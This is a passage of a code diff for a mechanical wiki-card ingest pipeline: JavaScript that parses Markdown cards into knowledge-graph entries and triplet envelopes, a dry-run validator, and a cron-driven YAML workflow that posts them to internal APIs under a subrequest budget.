startSeg();
for (const t of parsed.triplets) {
// 這條邊會新引入哪些節點(subject/object 命中 nodeByName 且本段尚未收)
const cand = [t.subject, t.object].filter(
(nm) => nodeByName.has(nm) && !cur.nodeNames.has(nm) && !anySegHas(segments, cur, nm),
);
// 放得下?(含新增這條邊 + 新引入節點)
if (cur.triplets.length > 0 && segCost(cur, 1, cand.length) > budget) {
startSeg();
}
cur.triplets.push(t);
for (const nm of [t.subject, t.object]) {
if (nodeByName.has(nm) && !anySegHas(segments, null, nm)) cur.nodeNames.add(nm);
}
}
const multi = segments.length > 1;
const envelopes = segments.map((seg, i) => {
const anchor = multi ? `seg${String(i + 1).padStart(2, '0')}` : undefined;
const uri = multi ? `${baseUri}#${anchor}` : baseUri;
const nodes = [...seg.nodeNames].map((nm) => {
const n = nodeByName.get(nm);
const out = { name: n.name };
if (n.gloss) out.gloss = n.gloss;
if (n.aliases && n.aliases.length) out.aliases = n.aliases;
out.embed = true;
return out;
});
const source = { uri, content_hash: contentHash };
if (anchor) source.anchor = anchor;
if (commit) source.commit = commit;
return {
source,
extractor,
nodes,
triplets: seg.triplets.map((t) => ({
subject: t.subject,
predicate: t.predicate,
object: t.object,
confidence: t.confidence ?? 1.0,
})),
_estSubrequests: estimateEnvelopeSubrequests(seg.triplets.length, seg.nodeNames.size),
};
});
// triplets≥1 是契約硬性;無邊的卡不產 envelope(仍會建 entry)。
return envelopes.filter((e) => e.triplets.length >= 1);
}
function anySegHas(segments, exclude, name) {
for (const s of segments) {
if (s === exclude) continue;
if (s.nodeNames.has(name)) return true;
}
return false;
}
/** 一張卡片 → 完整 ingest 計畫(entry + envelopes)。planCard = parseCard + planEnvelopes。 */
export function planCard(md, relPath, repo = 'Leo/notes', opts = {}) {
const parsed = parseCard(md, relPath, repo);
const envelopes = planEnvelopes(parsed, opts);
return { entry: parsed.entry, envelopes, meta: parsed.meta, nodeCount: parsed.nodes.length, tripletCount: parsed.triplets.length };
}
@@ -0,0 +1,181 @@
#!/usr/bin/env node
// km-wiki-ingest 乾跑(dry-run)驗證器 — 不寫 live、不部署。
// -------------------------------------------------------------
// 註:解析在 live 由 workflow.yaml 的 parse_card = 通用 `code` 零件(sandbox inline JS)承載;
// 本驗證器直接 import card-to-envelope.mjs(=該 code 節點內聯 JS 的權威來源)跑同一份邏輯,
// 故 dry-run 的 envelope 結果與 code 節點在 live 的輸出等價(Arcrun#10 已單測證明逐欄全等)。
// 對某 repo 的 system-dev/wiki/cards/**/*.md 跑機械解析 + envelope 打包,
// 輸出「將寫入什麼」:① entry 清單(page_name / entry_type / metadata.embed / content_hash
// ② triplet envelope 清單(每段的 nodes / triplets / source.uri+anchor
// ③ 每個 graph /triplets/ingest 呼叫的 subrequest 估算(證明壓在 CF 上限下)
// ④ 冪等鍵設計(entry=page_name+content_hashtriplet=source.uri+content_hash)。
//
// 用法:node dry-run.mjs --repo-path <clone路徑> [--repo Leo/notes] [--budget 40] [--json] [--full]
// --self-test 額外跑「合成超大卡」證明分段生效。
import { readFileSync, existsSync, readdirSync, statSync } from 'node:fs';
import path from 'node:path';
import { execFileSync } from 'node:child_process';
import { planCard, estimateEnvelopeSubrequests, SUBREQ_CEILING, SUBREQ_BUDGET } from './card-to-envelope.mjs';
function parseArgs(argv) {
const out = { repo: 'Leo/notes', budget: SUBREQ_BUDGET };
for (let i = 0; i < argv.length; i++) {
const a = argv[i];
if (a === '--repo-path') out.repoPath = argv[++i];
else if (a === '--repo') out.repo = argv[++i];
else if (a === '--budget') out.budget = Number(argv[++i]);
else if (a === '--json') out.json = true;
else if (a === '--full') out.full = true;
else if (a === '--self-test') out.selfTest = true;
}
return out;
}
function walkCards(dir) {
const out = [];
if (!existsSync(dir)) return out;
for (const e of readdirSync(dir, { withFileTypes: true })) {
const p = path.join(dir, e.name);
if (e.isDirectory()) out.push(...walkCards(p));
else if (e.name.endsWith('.md') && e.name !== '.gitkeep' && !e.name.startsWith('00-INDEX')) out.push(p);
}
return out;
}
function gitCommit(repoPath) {
try {
return execFileSync('git', ['-C', repoPath, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim();
} catch { return undefined; }
}
const args = parseArgs(process.argv.slice(2));
if (!args.repoPath) {
console.error('用法: node dry-run.mjs --repo-path <clone路徑> [--repo Leo/notes] [--budget 40] [--json] [--full] [--self-test]');
process.exit(1);
}
const cardsRoot = path.join(args.repoPath, 'system-dev', 'wiki', 'cards');
const cardPaths = walkCards(cardsRoot);
const commit = gitCommit(args.repoPath);
const report = { repo: args.repo, commit, budget: args.budget, ceiling: SUBREQ_CEILING, cards: [], totals: {} };
let totEntries = 0, totEnvelopes = 0, totTriplets = 0, totNodes = 0, maxSub = 0, over = 0;
for (const p of cardPaths) {
const rel = path.relative(args.repoPath, p);
const md = readFileSync(p, 'utf8');
const plan = planCard(md, rel, args.repo, { budget: args.budget, commit });
totEntries++;
totEnvelopes += plan.envelopes.length;
const cardTriplets = plan.envelopes.reduce((s, e) => s + e.triplets.length, 0);
const cardNodes = plan.envelopes.reduce((s, e) => s + e.nodes.length, 0);
totTriplets += cardTriplets;
totNodes += cardNodes;
for (const e of plan.envelopes) {
maxSub = Math.max(maxSub, e._estSubrequests);
if (e._estSubrequests > SUBREQ_CEILING) over++;
}
report.cards.push({
relPath: rel,
canonical: plan.meta.canonical,
entry: {
page_name: plan.entry.page_name,
entry_type: plan.entry.entry_type,
'metadata.embed': plan.entry.metadata.embed,
content_hash: plan.entry.metadata.content_hash.slice(0, 12) + '…',
content_bytes: Buffer.byteLength(plan.entry.content, 'utf8'),
tags: plan.entry.tags,
},
envelopeCount: plan.envelopes.length,
envelopes: plan.envelopes.map((e) => ({
'source.uri': e.source.uri,
'source.anchor': e.source.anchor ?? null,
nodes: e.nodes.length,
triplets: e.triplets.length,
est_subrequests: e._estSubrequests,
under_ceiling: e._estSubrequests <= SUBREQ_CEILING,
sample_triplets: e.triplets.slice(0, args.full ? 999 : 4).map((t) => `${t.subject} >> ${t.predicate} >> ${t.object} (${t.confidence})`),
sample_nodes: e.nodes.slice(0, args.full ? 999 : 4).map((n) => `${n.name}${n.gloss ? ' — ' + n.gloss.slice(0, 30) + '…' : ''}`),
})),
});
}
report.totals = {
cards: totEntries,
entries_to_upsert: totEntries,
triplet_envelopes: totEnvelopes,
total_triplets: totTriplets,
total_nodes: totNodes,
max_est_subrequests_single_call: maxSub,
ceiling: SUBREQ_CEILING,
budget: args.budget,
any_envelope_over_ceiling: over,
};
// --- self-test:合成一張「超大卡」(20 邊 + 22 節點)證明單 envelope 會爆、分段後每段壓在預算下 ---
if (args.selfTest) {
const entities = [];
const edges = [];
for (let i = 0; i < 22; i++) entities.push(`- **實體${i}**(別名${i})— 這是實體 ${i} 的一句描述。`);
for (let i = 0; i < 20; i++) edges.push(`- 實體${i} >> 關聯到 >> 實體${i + 1}`);
const bigCard = `---\ntags: [壓測]\ngloss: 合成超大卡,測分段。\n---\n# 合成超大卡\n\n← [[notes/00-INDEX]]\n\n## 實體\n${entities.join('\n')}\n\n## 關聯\n### 內文知識關係\n${edges.join('\n')}\n`;
const plan = planCard(bigCard, 'system-dev/wiki/cards/notes/合成超大卡.md', args.repo, { budget: args.budget });
const single = estimateEnvelopeSubrequests(plan.tripletCount, plan.nodeCount);
report.self_test = {
note: '合成 20 邊 / 22 節點 的超大卡',
if_single_envelope_est_subrequests: single,
would_crash_single: single > SUBREQ_CEILING,
segmented_into: plan.envelopes.length,
per_segment: plan.envelopes.map((e) => ({
uri: e.source.uri, anchor: e.source.anchor, triplets: e.triplets.length, nodes: e.nodes.length, est_subrequests: e._estSubrequests, under_ceiling: e._estSubrequests <= SUBREQ_CEILING,
})),
all_segments_under_ceiling: plan.envelopes.every((e) => e._estSubrequests <= SUBREQ_CEILING),
};
}
if (args.json) {
console.log(JSON.stringify(report, null, 2));
process.exit(0);
}
// --- 人類可讀輸出 ---
const L = (s = '') => console.log(s);
L(`\n================ km-wiki-ingest DRY-RUN(不寫 live================`);
L(`repo=${report.repo} commit=${(commit || '(none)').slice(0, 12)} budget=${args.budget} CF_ceiling=${SUBREQ_CEILING}`);
L(`卡片來源根:${path.relative(args.repoPath, cardsRoot)} 找到 ${cardPaths.length} 張卡\n`);
for (const c of report.cards) {
L(`── 卡片:${c.relPath}`);
L(` ENTRYbase POST /entries 或 kbdb_upsert_block,冪等鍵 page_name):`);
L(` page_name = ${c.entry.page_name}`);
L(` entry_type = ${c.entry.entry_type}`);
L(` metadata.embed= ${c.entry['metadata.embed']} content_hash=${c.entry.content_hash} bytes=${c.entry.content_bytes}`);
L(` tags = ${JSON.stringify(c.entry.tags)}`);
L(` TRIPLET ENVELOPE(s)POST graph /triplets/ingest;分段數=${c.envelopeCount}):`);
for (const e of c.envelopes) {
L(` • uri=${e['source.uri']}${e['source.anchor'] ? ' anchor=' + e['source.anchor'] : ''}`);
L(` nodes=${e.nodes} triplets=${e.triplets} est_subrequests=${e.est_subrequests} ≤ceiling? ${e.under_ceiling ? 'YES' : 'NO ⚠️'}`);
for (const t of e.sample_triplets) L(` - ${t}`);
if (e.sample_nodes.length) L(` nodes: ${e.sample_nodes.join(' | ')}`);
}
L('');
}
L(`================ 彙總 ================`);
for (const [k, v] of Object.entries(report.totals)) L(` ${k.padEnd(34)} = ${v}`);
L(` 冪等設計:`);
L(` entry → page_name(穩定鍵)+ metadata.content_hash(比對是否改動 → 未改 skip、改動 PATCH 重嵌)`);
L(` triplet → source.uri + source.content_hashgraph 現役 per-source 冪等;同 hash 整包 no-op`);
L(` 分段 → 各段獨立 source.uri(#segNN)→ 各自獨立冪等,繞開 per-source content_hash 整包 skip`);
if (report.self_test) {
L(`\n================ SELF-TEST:超大檔分段 ================`);
const st = report.self_test;
L(` ${st.note}`);
L(` 若不分段(單 envelope)估算 subrequest = ${st.if_single_envelope_est_subrequests} → 會炸? ${st.would_crash_single ? 'YES> ' + SUBREQ_CEILING + '' : 'no'}`);
L(` 分段後段數 = ${st.segmented_into},每段:`);
for (const s of st.per_segment) L(` - ${s.anchor}: triplets=${s.triplets} nodes=${s.nodes} est=${s.est_subrequests} ≤ceiling? ${s.under_ceiling ? 'YES' : 'NO ⚠️'}`);
L(` 全部段壓在上限下? ${st.all_segments_under_ceiling ? 'YES ✅' : 'NO ⚠️'}`);
}
L('');
@@ -0,0 +1 @@
["ingest", "kbdb", "wiki", "mechanical", "cron", "webhook", "graph", "triplet", "no-llm"]
@@ -0,0 +1,458 @@
name: km_wiki_ingest_drain
description: >
Phase 0 限速 draincron 每 tick 只處理「一張卡」→ 機械解析成 entry + triplet envelope
→ 冪等寫 KBDBbase entry / graph triplet)。反覆跑直到全庫 drain 完。
來源=repo 的 system-dev/wiki/cards/**/*.md(人工精耕卡,非裸筆記,無 LLM)。
解析由通用 code 零件(sandbox inline JS)承載,不再鑄 domain 零件(Arcrun#10 裁定)。
穩態(Gitea push webhook 只處理 delta)見檔尾 §穩態變體。
# ── 為什麼「一 tick 一卡」=根治 07_01 的 Too many subrequests ──
# graph worker 處理一次 POST /triplets/ingest 的 subrequest = 7 + 4*N_triplets + M_nodes + D_deprecated。
# 07_01 炸點:單一 envelope 吞整檔 N=11,M=10 → 61 > 50CF bundled 上限)→ 半殘。
# 對策:① 一卡一 tick(天然小批,notes 卡 ~N4/M5 → est 28~33,穩壓 50 下)
# ② code 節點的內聯解析會自動把超大卡以 source_uri anchor 分段(每段獨立冪等)。
# ⟹ 任何單一 graph 呼叫都不會再破頂。
flow:
- "watch_cron >> ON_SUCCESS >> pick_next_card"
- "pick_next_card >> ON_SUCCESS >> fetch_card"
- "fetch_card >> ON_SUCCESS >> parse_card"
- "parse_card >> ON_SUCCESS >> upsert_entry" # 卡片 → base entryembed=true),冪等
- "upsert_entry >> ON_SUCCESS >> post_envelopes" # wikilink/typed-edge → graph triplet
- "post_envelopes >> 對每個 envelope >> post_one_envelope" # 分段時多段,各段獨立冪等
config:
# 1) 排程 tick:慢推。每 2 分鐘一張卡=限速(Phase 0 唯一需要 rate-limit 之處)。
watch_cron:
component: cron
cron_expr: "*/2 * * * *"
description: "每 2 分鐘 drain 一張卡(限速慢推,避免 CF 額度與 subrequest 壓力)"
# 2) 取下一張待處理卡(cursor drain)。用 Gitea contents API 列 cards 目錄 + 一個游標 block
# 記「處理到哪」。回傳單一 { rel_path, download_url, content_hash?(git blob sha) }。
# 註:list + cursor 的細節可用 http_request(Gitea API) + set/string_ops 組;此處給語意佔位。
pick_next_card:
component: http_request
method: GET
url: "https://git.uncle6.me/api/v1/repos/{{repo}}/contents/system-dev/wiki/cards?ref={{ref}}"
headers:
Authorization: "token {{gitea_token}}"
Accept: "application/json"
# 下游用 filter/set 取「游標之後第一張、且 .md、且非 00-INDEX」的一張。
# 3) 抓卡片全文(Gitea raw)。
fetch_card:
component: http_request
method: GET
url: "{{pick_next_card.next.download_url}}"
headers:
Authorization: "token {{gitea_token}}"
# 4) ★ 機械解析 —— 通用 code 零件(sandbox inline JS,無 LLM、無 fs/網路,stdin→stdout JSON)。
# Arcrun#10 裁定:一次性解析邏輯走通用逃生口,不再鑄 domain 零件 km_wiki_card_parse。
# 下面 code: 內聯的即 lib/card-to-envelope.mjs 的 planCard 邏輯(去 import/export、
# raw NUL 分隔符改 \u0000 escape、改用 code 沙箱注入的 curated builtin sha256
# 已單測證明與原模組輸出逐欄全等)。
# input:卡片全文 md + 相對路徑 relPath + repo + opts.budgetsubrequest 目標上限)。
# output{ success:true, data:{ entry, envelopes[], meta, nodeCount, tripletCount } }
# —— envelope 已分段、已估 subrequest。故下游改引用 parse_card.data.*。
parse_card:
component: code
code: |
// km-wiki-ingest — 機械式卡片→(entry + triplet envelope) 轉換核心(無 LLM、純函式)
// ---------------------------------------------------------------------------
// 取代舊 `kbdb-ingest-plugin/scripts/ingest-cli.mjs` 的 raw→Haiku 路:
// 舊路 = 讀裸筆記 → 呼叫 Haiku 萃 (s,p,o) → envelope(有 LLM、非決定性、耗 token)。
// 新路 = 讀「已精耕卡片」(`system-dev/wiki/cards/**/*.md`)→ 直接解析卡片內既有的
// `## 實體`(節點)、`## 關聯` 的 typed-edge`A >> 關係 >> B`)與 `[[wikilink]]`
// → entry + triplet envelope。純機械、決定性、零 token。
//
// 這支=通用 `code` 零件(Arcrun#10sandbox inline JS)承載的解析邏輯本體。
// workflow.yaml 的 parse_card 節點把本檔的 planCard 邏輯內聯進 code 零件的 config
// (去 import/export、raw NUL 分隔符改 u0000 escape、改用 code 沙箱注入的 sha256);
// 不再鑄 domain 零件 km_wiki_card_parseArcrun#10 裁定:一次性解析走通用逃生口)。
// 本檔續留作「該內聯 JS 的權威來源 + 可單元測試的參考實作」(純函式、stdin→stdout JSON、無 fs/網路)。
//
// 對齊契約:kbdb-ingest-plugin/contracts/ingest-candidate.jsonenvelope 形狀 / 禁止欄位)。
// 對齊頂層 SDD:卡片→entrymetadata.embed=true,走 base API)、wikilink→triplet(走 graph)。
//
// 鐵律:不碰儲存、不算向量、不建表。這支只「產出將寫入什麼」,實際 HTTP 由 workflow 打。
// (import 移除:code 沙箱提供注入的 sha256 builtin)
// --- CF subrequest 預算(防「Too many subrequests by single Worker invocation」,07_01 根因)---
//
// graph worker 處理一次 POST /triplets/ingest 時,對 base 的每次 fetch = 1 subrequest。
// 精確拆帳(讀 kbdb-graph-plugin/src/actions/triplet-ingest.ts + triplet-crud.ts + templates.ts):
// ingestEnvelope = ensurePluginTemplates(3) + listRecordsByTemplate(1)
// + Σ triplet [ createTriplet → ensurePluginTemplates(3) + createRecord(1) = 4 ]
// + persistNodes [ ensurePluginTemplates(3) + Σ node createRecord(1) ]
// + Σ deprecated updateRecord(1)
// ⟹ subreq(envelope) = 7 + 4*N_triplets + M_nodes + D_deprecated
//
// 07_01 實測炸點:N=11, M=10, D=0 → 7+44+10 = 61 > 50CF 免費/bundled 上限)→ 炸半殘。
//
// 對策 = 「一卡一 tick、每 envelope 壓在預算下、超大檔以 source_uri anchor 分段」。
const SUBREQ_CEILING = 50; // CF 單次 Worker invocation subrequest 硬上限(bundled
const SUBREQ_BUDGET = 40; // 我們的目標上限(留 10 給 D_deprecated 等變動)
/** 精確估算「一個 envelope 打進 graph /triplets/ingest」會在 graph worker 內產生幾個 subrequest。 */
function estimateEnvelopeSubrequests(nTriplets, mNodes, dDeprecated = 0) {
return 7 + 4 * nTriplets + mNodes + dDeprecated;
}
// --- sha256content_hash 冪等鍵)---
// (sha256 移除:使用 code 沙箱注入的 curated builtin sha256)
// --- frontmatter 解析(極簡 YAML:只吃我們卡片用到的 tags / gloss / pipeline_candidate---
function parseFrontmatter(md) {
const m = md.match(/^---\n([\s\S]*?)\n---\n?/);
if (!m) return { data: {}, body: md };
const body = md.slice(m[0].length);
const data = {};
for (const line of m[1].split('\n')) {
const kv = line.match(/^([A-Za-z_][\w-]*):\s*(.*)$/);
if (!kv) continue;
const key = kv[1];
let val = kv[2].trim();
if (val.startsWith('[') && val.endsWith(']')) {
// inline list: [a, b, c]
data[key] = val.slice(1, -1).split(',').map((s) => s.trim()).filter(Boolean);
} else if (val === 'true' || val === 'false') {
data[key] = val === 'true';
} else {
data[key] = val;
}
}
return { data, body };
}
// --- 取某個 `## 標題` / `### 標題` 區塊的內文(到下一個同級或更高級標題為止)---
function sectionBody(md, heading) {
// heading 例:'## 實體'、'### 內文知識關係'
const level = heading.match(/^#+/)[0].length;
const lines = md.split('\n');
const out = [];
let inSec = false;
for (const line of lines) {
const h = line.match(/^(#+)\s+(.*)$/);
if (h) {
const thisLevel = h[1].length;
if (inSec) {
// 遇到同級或更高級標題 → 區塊結束
if (thisLevel <= level) break;
}
// 標題文字「開頭相符」即算命中(容忍標題後帶括號補述)
if (!inSec && thisLevel === level && line.replace(/^#+\s+/, '').startsWith(heading.replace(/^#+\s+/, ''))) {
inSec = true;
continue;
}
}
if (inSec) out.push(line);
}
return out.join('\n');
}
// --- 實體行解析:`- **正規名**(別名1/別名2)— 描述`(別名、描述皆選填)---
function parseEntities(md) {
const sec = sectionBody(md, '## 實體');
const entities = [];
for (const raw of sec.split('\n')) {
const line = raw.trim();
if (!line.startsWith('- ')) continue;
if (line.startsWith('- >') || line.startsWith('> ')) continue; // 跳過引言說明行
const m = line.match(/^- \*\*(.+?)\*\*(?:(.+?))?\s*(?:[—–\-]\s*(.*))?$/);
if (!m) continue;
const name = m[1].trim();
if (!name) continue;
const aliases = m[2]
? m[2].split(/[/、,]/).map((s) => s.trim()).filter((s) => s && s !== name)
: [];
const gloss = (m[3] || '').trim();
entities.push({ name, aliases, gloss });
}
return entities;
}
// --- typed-edge 行解析:`A >> 謂詞 >> B`(端點可為裸實體名或 [[wikilink]]---
function parseTypedEdges(sectionText) {
const edges = [];
for (const raw of (sectionText || '').split('\n')) {
const line = raw.trim();
if (!line.startsWith('- ')) continue;
const body = line.slice(2).trim();
if (body.startsWith('') || body.startsWith('(')) continue; // 「(暫無…)」占位行
const parts = body.split('>>');
if (parts.length !== 3) continue;
const subject = stripWikilink(parts[0].trim());
const predicate = parts[1].trim();
const object = stripWikilink(parts[2].trim());
if (!subject || !predicate || !object) continue;
edges.push({ subject, predicate, object });
}
return edges;
}
// [[notes/00-INDEX]] → notes/00-INDEX ;純字串則原樣回。
function stripWikilink(s) {
const m = s.match(/^\[\[(.+?)\]\]$/);
return m ? m[1].trim() : s;
}
// --- 抽所有 inline [[wikilink]](含 header 的 ← [[notes/00-INDEX]] 與內文)---
function extractInlineWikilinks(md) {
const out = [];
const re = /\[\[(.+?)\]\]/g;
let m;
while ((m = re.exec(md)) !== null) out.push(m[1].trim());
return out;
}
// --- 卡片 canonical id:以檔名(去副檔名)為準,對齊 `## 卡片關係` 用的 [[基名]] 慣例 ---
function cardCanonical(relPath) {
const base = relPath.split('/').pop().replace(/\.md$/, '');
return base;
}
/**
* 解析一張卡片 → { entry, nodes, triplets, meta }(尚未分段的原始產物)。
* relPath:卡片相對 repo 根路徑(如 system-dev/wiki/cards/notes/Xxx.md)。
* repo:如 'Leo/notes'。
*/
function parseCard(md, relPath, repo = 'Leo/notes') {
const { data: fm } = parseFrontmatter(md);
const canonical = cardCanonical(relPath);
const titleMatch = md.match(/^#\s+(.+)$/m);
const title = titleMatch ? titleMatch[1].trim() : canonical;
// 1) 節點:## 實體 的正規名 + 別名 + gloss。
const entities = parseEntities(md);
// 2) 邊:內文知識關係(實體↔實體)+ 卡片關係(卡↔卡)+ inline wikilink(卡→卡 導覽/引用)。
const intraEdges = parseTypedEdges(sectionBody(md, '### 內文知識關係'))
.map((e) => ({ ...e, confidence: 1.0 }));
const cardEdges = parseTypedEdges(sectionBody(md, '### 卡片關係'))
.map((e) => ({ ...e, confidence: 1.0 }));
// inline wikilink(← [[notes/00-INDEX]] 等)→ 卡→卡「連結至」邊,去重、排除自環與已被 typed 邊覆蓋者。
const typedPairs = new Set(
[...cardEdges].map((e) => `${e.subject}\u0000${e.object}`),
);
const seenRef = new Set();
const refEdges = [];
for (const target of extractInlineWikilinks(md)) {
const t = stripWikilink(target);
if (t === canonical || t === title) continue; // 自環
if (typedPairs.has(`${canonical}\u0000${t}`)) continue; // 已有明確謂詞邊
const key = `${canonical}\u0000${t}`;
if (seenRef.has(key)) continue;
seenRef.add(key);
refEdges.push({ subject: canonical, predicate: '連結至', object: t, confidence: 0.5 });
}
const triplets = [...intraEdges, ...cardEdges, ...refEdges];
// 3) 節點清單:卡片本身(canonical,帶 frontmatter gloss+ 內文實體。
// 卡對卡邊指到的「別張卡」不在此補 node —— 那張卡自己被 ingest 時會補自己的 node。
const nodes = [];
const seenNode = new Set();
const pushNode = (n) => {
const k = n.name.toLowerCase();
if (!n.name || seenNode.has(k)) return;
seenNode.add(k);
nodes.push(n);
};
pushNode({ name: canonical, gloss: fm.gloss || '', aliases: title && title !== canonical ? [title] : [] });
for (const e of entities) pushNode({ name: e.name, gloss: e.gloss, aliases: e.aliases });
return {
entry: {
// base POST /entries(或 kbdb_upsert_block)用。metadata.embed=true → 語意可搜。
page_name: `wikicard:${repo}/${canonical}`, // idempotency key(穩定)
entry_type: 'wiki_card',
content: md, // 卡片全文逐字(embed 對象)
tags: Array.isArray(fm.tags) ? fm.tags : [],
metadata: {
embed: true, // ★ base embed 模組讀此旗標
source: `gitea:${repo}@${relPath}`,
content_hash: sha256(md),
kind: 'wiki_card',
repo,
canonical,
pipeline_candidate: fm.pipeline_candidate === true,
},
},
nodes,
triplets,
meta: { canonical, title, relPath, repo, contentHash: sha256(md) },
};
}
/**
* 把一張卡片的 (nodes, triplets) 打包成「一個或多個」ingest envelope
* 使每個 envelope 打進 graph 後的 subrequest 都 ≤ SUBREQ_BUDGET。
*
* 分段規則(對應頂層 SDD R4 / issue #8 第4點):
* - 單 envelope 夠塞(7+4N+M ≤ budget)→ 不分段,uri = 基 uri(無 anchor)。
* - 需分段 → 每段 uri = `<基uri>#seg{NN}`、anchor = `seg{NN}`。
* 每段是「獨立 source_uri」→ 各自獨立冪等,繞開 graph 的 per-source content_hash 整包 skip
* (否則同 uri 第 2 段起會被 line 65 的 content_hash 命中而整包跳過)。
* - 節點只放進「第一個引用到它的段」,跨段不重送(避免 graph persistNodes 重建 entity record)。
*/
function planEnvelopes(parsed, opts = {}) {
const budget = opts.budget ?? SUBREQ_BUDGET;
const repo = parsed.meta.repo;
const relPath = parsed.meta.relPath;
const baseUri = `gitea:${repo}@${relPath}`;
const contentHash = parsed.meta.contentHash;
const commit = opts.commit;
const extractor = {
model: opts.extractorModel ?? 'mechanical/km-wiki-card-parse@1',
tier: 'deep', // 人工精耕卡=deep(決定性、非淺萃)
extracted_at: Math.floor(Date.now() / 1000),
};
const nodeByName = new Map(parsed.nodes.map((n) => [n.name, n]));
// 貪婪打包:逐條 triplet 累進,段成本 = 7 + 4*(段內邊數) + (段內首見節點數)。
const segments = [];
let cur = null;
const startSeg = () => {
cur = { triplets: [], nodeNames: new Set() };
segments.push(cur);
};
const segCost = (seg, extraEdges = 0, extraNodes = 0) =>
estimateEnvelopeSubrequests(seg.triplets.length + extraEdges, seg.nodeNames.size + extraNodes);
startSeg();
for (const t of parsed.triplets) {
// 這條邊會新引入哪些節點(subject/object 命中 nodeByName 且本段尚未收)
const cand = [t.subject, t.object].filter(
(nm) => nodeByName.has(nm) && !cur.nodeNames.has(nm) && !anySegHas(segments, cur, nm),
);
// 放得下?(含新增這條邊 + 新引入節點)
if (cur.triplets.length > 0 && segCost(cur, 1, cand.length) > budget) {
startSeg();
}
cur.triplets.push(t);
for (const nm of [t.subject, t.object]) {
if (nodeByName.has(nm) && !anySegHas(segments, null, nm)) cur.nodeNames.add(nm);
}
}
const multi = segments.length > 1;
const envelopes = segments.map((seg, i) => {
const anchor = multi ? `seg${String(i + 1).padStart(2, '0')}` : undefined;
const uri = multi ? `${baseUri}#${anchor}` : baseUri;
const nodes = [...seg.nodeNames].map((nm) => {
const n = nodeByName.get(nm);
const out = { name: n.name };
if (n.gloss) out.gloss = n.gloss;
if (n.aliases && n.aliases.length) out.aliases = n.aliases;
out.embed = true;
return out;
});
const source = { uri, content_hash: contentHash };
if (anchor) source.anchor = anchor;
if (commit) source.commit = commit;
return {
source,
extractor,
nodes,
triplets: seg.triplets.map((t) => ({
subject: t.subject,
predicate: t.predicate,
object: t.object,
confidence: t.confidence ?? 1.0,
})),
_estSubrequests: estimateEnvelopeSubrequests(seg.triplets.length, seg.nodeNames.size),
};
});
// triplets≥1 是契約硬性;無邊的卡不產 envelope(仍會建 entry)。
return envelopes.filter((e) => e.triplets.length >= 1);
}
function anySegHas(segments, exclude, name) {
for (const s of segments) {
if (s === exclude) continue;
if (s.nodeNames.has(name)) return true;
}
return false;
}
/** 一張卡片 → 完整 ingest 計畫(entry + envelopes)。planCard = parseCard + planEnvelopes。 */
function planCard(md, relPath, repo = 'Leo/notes', opts = {}) {
const parsed = parseCard(md, relPath, repo);
const envelopes = planEnvelopes(parsed, opts);
return { entry: parsed.entry, envelopes, meta: parsed.meta, nodeCount: parsed.nodes.length, tripletCount: parsed.triplets.length };
}
// graph /triplets/ingest 是 strict schema,拒絕未知鍵。planEnvelopes 於 envelope 上掛的
// 診斷鍵 _estSubrequests 不在 ingest-candidate 契約內 → post 前剝除所有 _-前綴鍵,
// 讓 post_one_envelope 的 body_json={{envelope}} 為契約乾淨 payload。
// leo21c 實測:不剝除會回 422 unrecognized_keys "_estSubrequests"。)
const __plan = planCard(input.md, input.relPath, input.repo, input.opts || {});
__plan.envelopes = __plan.envelopes.map(function (e) {
const clean = {};
for (const k in e) { if (k.charAt(0) !== '_') clean[k] = e[k]; }
return clean;
});
return __plan;
input:
md: "{{fetch_card.data.body}}"
relPath: "{{pick_next_card.next.rel_path}}"
repo: "{{repo}}"
opts:
budget: 40 # subrequest 目標上限(留 10 給 D_deprecated),超過自動 anchor 分段
limits:
timeout_ms: 3000 # 純 CPU 解析;大卡也充裕
max_output_bytes: 4194304 # envelope 陣列可能較大(4 MiB
# 5) 卡片 → base entry,冪等 upsertpage_name 當鍵;找到 PATCH、沒有 POST)。
# metadata.embed=true → base embed 模組會補嵌 → 語意可搜。
upsert_entry:
component: kbdb_upsert_block
api_key: "{{kbdb_api_key}}"
kbdb_url: "{{kbdb_url}}"
page_name: "{{parse_card.data.entry.page_name}}"
type: "{{parse_card.data.entry.entry_type}}"
content: "{{parse_card.data.entry.content}}"
source: "{{parse_card.data.entry.metadata.source}}"
tags_json: "{{parse_card.data.entry.tags_json}}"
# ⚠️ metadata.embed=true / content_hash 需經 base /entries 帶 metadata_json 落地;
# 若 kbdb_upsert_block 尚未透傳 metadata_json,改用 http_request 直打 base POST/PATCH /entries
# 帶 body_json.metadata_json(見 description.md §entry 冪等)。
# 6) triplet envelope(可能多段)→ 逐段 POST graph /triplets/ingest。
# graph 端 per-source(uri+content_hash) 冪等:同 hash 整包 no-op;分段各段 uri 不同 → 各自獨立冪等。
post_envelopes:
component: foreach_control
items: "{{parse_card.data.envelopes}}"
item_key: envelope
post_one_envelope:
component: http_request
method: POST
url: "{{graph_url}}/triplets/ingest"
headers:
Content-Type: "application/json"
X-Arcrun-API-Key: "{{graph_api_key}}"
body_json: "{{envelope}}" # envelope 已符合 ingest-candidate.json 契約(禁止欄位已排除)
# ── 執行環境變數(部署時注入;此檔不放密鑰)──
# repo=Leo/notes ref=main gitea_token=<GITEA_TOKEN>
# kbdb_url=https://arcrun-kbdb.leo21c.workers.dev kbdb_api_key=<partner key>
# graph_url=<graph plugin base url on leo21c> graph_api_key=leo
#
# ═══════════════════════════════════════════════════════════════════════════
# §穩態變體(km_wiki_ingest_delta):Gitea push webhook → 只處理 delta 檔
# ═══════════════════════════════════════════════════════════════════════════
# 觸發 = Gitea repo Settings → Webhooks → 指向 arcrun(cypher-executor) 的 workflow webhook URL。
# ⚠️ 這是 Gitea → Cloudflare(arcrun),非 GitHub Actions → 不觸 GitHub flag 紅線(D4/D20)。
# 只把上面 flow 的 watch_cron/pick_next_card 換成:
# inputwebhook payload>> ON_SUCCESS >> collect_changed
# collect_changed = 從 payload.commits[].{added,modified} 濾出 system-dev/wiki/cards/**/*.md
# >> foreach 檔 >> fetch_card >> parse_card >> upsert_entry >> post_envelopes(同上)
# 量小、天生不撞頂、不需限速;靠 graph/entry 冪等自動 skip 未變檔。